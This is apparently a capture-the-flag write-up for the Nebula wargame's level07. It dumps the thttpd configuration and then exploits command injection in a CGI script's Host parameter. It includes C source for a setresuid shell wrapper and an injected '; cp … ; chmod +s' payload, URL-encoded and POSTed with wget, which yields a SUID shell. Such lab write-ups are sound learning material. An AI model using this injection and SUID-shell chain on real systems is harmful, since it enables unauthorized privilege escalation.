It's used as a CGI script. Looking at flag07's home directory, we can see the http daemon config:
level07@nebula:~$ ls -l /home/flag07 total 8 -rwxr-xr-x 1 root root 368 Nov 20 2011 index.cgi -rw-r--r-- 1 root root 3719 Nov 20 2011 thttpd.conf level07@nebula:~$ cat /home/flag07/thttpd.conf # /etc/thttpd/thttpd.conf: thttpd configuration file # This file is for thttpd processes created by /etc/init.d/thttpd. # Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer. # Specifies an alternate port number to listen on. port=7007 # Specifies a directory to chdir() to at startup. This is merely a convenience - # you could just as easily do a cd in the shell script that invokes the program. dir=/home/flag07 # Do a chroot() at initialization time, restricting file access to the program's # current directory. If chroot is the compiled-in default (not the case on # Debian), then nochroot disables it. See thttpd(8) for details. nochroot #chroot # Specifies a directory to chdir() to after chrooting. If you're not chrooting, # you might as well do a single chdir() with the dir option. If you are # chrooting, this lets you put the web files in a subdirectory of the chroot # tree, instead of in the top level mixed in with the chroot files. #data_dir= # Don't do explicit symbolic link checking. Normally, thttpd explicitly expands # any symbolic links in filenames, to check that the resulting path stays within # the original document tree. If you want to turn off this check and save some # CPU time, you can use the nosymlinks option, however this is not # recommended. Note, though, that if you are using the chroot option, the # symlink checking is unnecessary and is turned off, so the safe way to save # those CPU cycles is to use chroot. #symlinks #nosymlinks # Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the # case on Debian), then novhost disables it. See thttpd(8) for details. #vhost #novhost # Use a global passwd file. This means that every file in the entire document # tree is protected by the single .htpasswd file at the top of the tree. # Otherwise the semantics of the .htpasswd file are the same. If this option is # set but there is no .htpasswd file in the top-level directory, then thttpd # proceeds as if the option was not set - first looking for a local .htpasswd # file, and if that doesn't exist either then serving the file without any # password. If globalpasswd is the compiled-in default (not the case on Debian), # then noglobalpasswd disables it. #globalpasswd #noglobalpasswd # Specifies what user to switch to after initialization when started as root. user=flag07 # Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or # "/cgi-bin/*". See thttpd(8) for details. cgipat=**.cgi # Specifies a file of throttle settings. See thttpd(8) for details. #throttles=/etc/thttpd/throttle.conf # Specifies a hostname to bind to, for multihoming. The default is to bind to # all hostnames supported on the local machine. See thttpd(8) for details. #host= # Specifies a file for logging. If no logfile option is specified, thttpd logs # via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all. #logfile=/var/log/thttpd.log # Specifies a file to write the process-id to. If no file is specified, no # process-id is written. You can use this file to send signals to thttpd. See # thttpd(8) for details. #pidfile= # Specifies the character set to use with text MIME types. #charset=iso-8859-1 # Specifies a P3P server privacy header to be returned with all responses. See # http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the # string except put it in the P3P: response header. #p3p= # Specifies the number of seconds to be used in a "Cache-Control: max-age" # header to be returned with all responses. An equivalent "Expires" header is # also generated. The default is no Cache-Control or Expires headers, which is # just fine for most sites. #max_age=Notice that thttpd is configured to listen to port 7007. You can start experimenting with it right away by going to http://nebula:7007/index.cgi?Host=google.com
The vulnerability is clearly, once again, code injection. All we need to do is inject commands through the Host parameter. Like the other challenges, we want a shell, so let's compile a wrapper then make it SUID:
level07@nebula:~$ cat > /tmp/shell.c #include <unistd.h> #include <stdlib.h> int main() { int euid = geteuid(); setresuid(euid, euid, euid); system("sh"); return 0; } level07@nebula:~$ make /tmp/shell cc /tmp/shell.c -o /tmp/shellNow we only need to make it SUID for flag07. We can inject the command to do so by setting the Host parameter to "; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh". We need to be careful to URL encode it first.
level07@nebula:~$ php -r 'echo "Host=" . urlencode("; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh");' > lethal_data level07@nebula:~$ wget -q -O - --post-file=lethal_data 'localhost:7007/index.cgi'flags++ :)Ping results level07@nebula:~$ /tmp/flag07_sh sh-4.2$ getflag You have successfully executed getflag on a target account
~ Dmitry